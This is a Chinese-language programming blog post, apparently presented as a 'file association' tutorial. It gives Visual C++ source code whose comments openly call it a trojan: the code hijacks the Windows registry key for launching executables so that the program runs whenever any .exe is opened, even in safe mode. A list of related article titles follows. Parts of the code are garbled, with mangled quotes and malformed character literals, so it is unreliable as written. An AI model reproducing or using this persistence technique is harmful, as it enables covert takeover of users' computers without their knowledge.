vc++實現檔案關聯
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,”Hello”,NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch==`\`)
strncat(temp,”\\”,2);
else strncat(temp,ch,1);
}
}//上面的函式是把字串中所有的””變為”\”
char str[]=””%1″ %*”;
RegSetValue(HKEY_CLASSES_ROOT,”exefile\shell\open\command”,REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。
ShellExecute(NULL,”open”,temp,NULL,NULL,SW_SHOW);//執行原有的程式
//在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的
TCHAR filename[256];
// 得到程式全路徑名
GetModuleFileName( NULL, filename, 255 );
strcat(filename,” “%1″ %*”);
RegSetValue(HKEY_CLASSES_ROOT,”exefile\shell\open\command”,REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在安全模式下只要執行可執行程式就會執行我們的程式了。
return 0;
}
相關文章
- 用VC++實現一個文字檔案閱讀器C++
- 檔案關聯 (轉)
- vc++上傳檔案C++
- windows 更改檔案關聯Windows
- 關於node實現檔案上傳
- 如何在macOS中管理檔案關聯Mac
- 如何在macOS中管理檔案關聯?Mac
- WebStorm檔案型別關聯設定WebORM型別
- AssociatedObject關聯物件原理實現Object物件
- VC++學習筆記---配置檔案(一) ini檔案和propritiesC++筆記
- makefile檔案及VC++自帶的NmakeC++
- windows檔案關聯的奇招酷技Windows
- 實現 MongoDB 外來鍵關聯MongoDB
- 關聯物件的實現原理【OC】物件
- VC++中用記憶體對映檔案 (轉)C++記憶體
- 應用例項:VC++實現廣告視窗自動關閉(轉)C++
- VC++實現COM事件接收器C++事件
- 載入預設未被lense關聯的檔案
- 實驗七 檔案相關
- 使用MDX實現多維關聯分析
- PHP實現單檔案、多檔案上傳 封裝 物件導向實現檔案上傳PHP封裝物件
- js實現使用檔案流下載csv檔案JS
- AngularJS實現的檔案檔案上傳AngularJS
- VC++中實現程式互斥執行 (轉)C++
- VC++實現撥號上網程式 (轉)C++
- 檔案關聯型木馬的程式設計思路 (轉)程式設計
- Windows XP 系統中檔案關聯的更改(轉)Windows
- 通過配置檔案(.htaccess)實現檔案上傳
- MyBatis實現一對一關聯對映MyBatis
- 使用延遲關聯實現高效分頁
- Java實現檔案切割拼接Java
- Flutter實現檔案下載Flutter
- AJAX實現檔案下載----
- ajax實現檔案上傳
- 棧實現反序讀檔案
- ERP基礎檔案管理模組中實現多級分類檔案級聯刪除技術 (轉)
- 使用VC++ ATL實現iStylePDF的COM外掛C++
- 用VC++實現自繪按鈕控制 (轉)